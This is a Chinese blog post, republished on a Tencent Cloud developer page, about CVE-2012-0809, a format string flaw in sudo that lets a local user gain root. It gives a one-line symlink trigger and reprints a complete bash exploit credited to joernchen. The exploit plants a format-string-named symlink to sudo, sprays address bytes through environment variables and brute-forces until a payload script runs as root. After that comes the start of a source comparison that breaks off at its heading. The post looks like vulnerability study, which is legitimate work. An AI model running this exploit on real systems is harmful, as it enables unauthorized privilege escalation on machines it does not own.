前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >CVE-2012-0809-Sudo格式化字符串漏洞

CVE-2012-0809-Sudo格式化字符串漏洞

作者头像
用户1423082
发布2024-12-31 18:21:23
发布2024-12-31 18:21:23
8100
代码可运行
举报
文章被收录于专栏:giantbranch's bloggiantbranch's blog
运行总次数:0
代码可运行

简介

来源:漏洞战争

sudo有漏洞是个很爽的事情,😄,这个是可以提权的~

可通过ln等命令利用

代码语言:javascript
代码运行次数:0
复制
ln -s /usr/bin/sudo ./%s
./%n -D9

在网上找到了如下exp

代码语言:javascript
代码运行次数:0
复制
#!/bin/bash
# CVE-2012-0809 exploit 
# joernchen of Phenoelit's version 
# Payload to be executed goes to /tmp/a (might be a shell script)

cd /tmp
/bin/echo '-> Clearing ENV'
for i in `env |cut -f1 -d "="` ;do unset $i;done  
/bin/echo '-> Creating symlink'
/bin/ln -s /usr/bin/sudo ./%134520134x%900\$n
/bin/echo '-> Setting ENV'
export AAA=AAAA;
export A;
for i in `/usr/bin/seq 1 5000`; do 
export A=$A`echo -n -e '\x24\x83\x05\x08'`;
done;

/bin/echo '-> Now a little Brute-Force'
while true ; do SUDO_ASKPASS=/tmp/a ./%134520134x%900\$n -D9 -A id 2>/dev/null ; if [[ "$?" == "1" ]]; then break ;fi  ; done
/bin/echo '-> Cleaning up'
/bin/rm /tmp/%134520134x%900\$n

当然还有exploit-db的

https://www.exploit-db.com/exploits/25134/

源码对比分析

因为linux是开源的,这个软件也开源

看看出问题的sudo_debug函数在哪

代码语言:javascript
代码运行次数:0
复制
$ grep "sudo_debug(int level" -r ./
./advisory_sudo.txt:sudo_debug(int level, const char *fmt, ...)
./sudo-1.8.3p1/src/sudo.c:sudo_debug(int level, const char *fmt, ...)
./sudo-1.8.3p1/src/sudo.h:void sudo_debug(int level, const char *format, ...) __printflike(2, 3);
./sudo-1.8.3p2/src/sudo.c:sudo_debug(int level, const char *fmt, ...)
./sudo-1.8.3p2/src/sudo.h:void sudo_debug(int level, const char *format, ...) __printflike(2, 3);

对比

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2017-10-31,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 简介
  • 源码对比分析
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档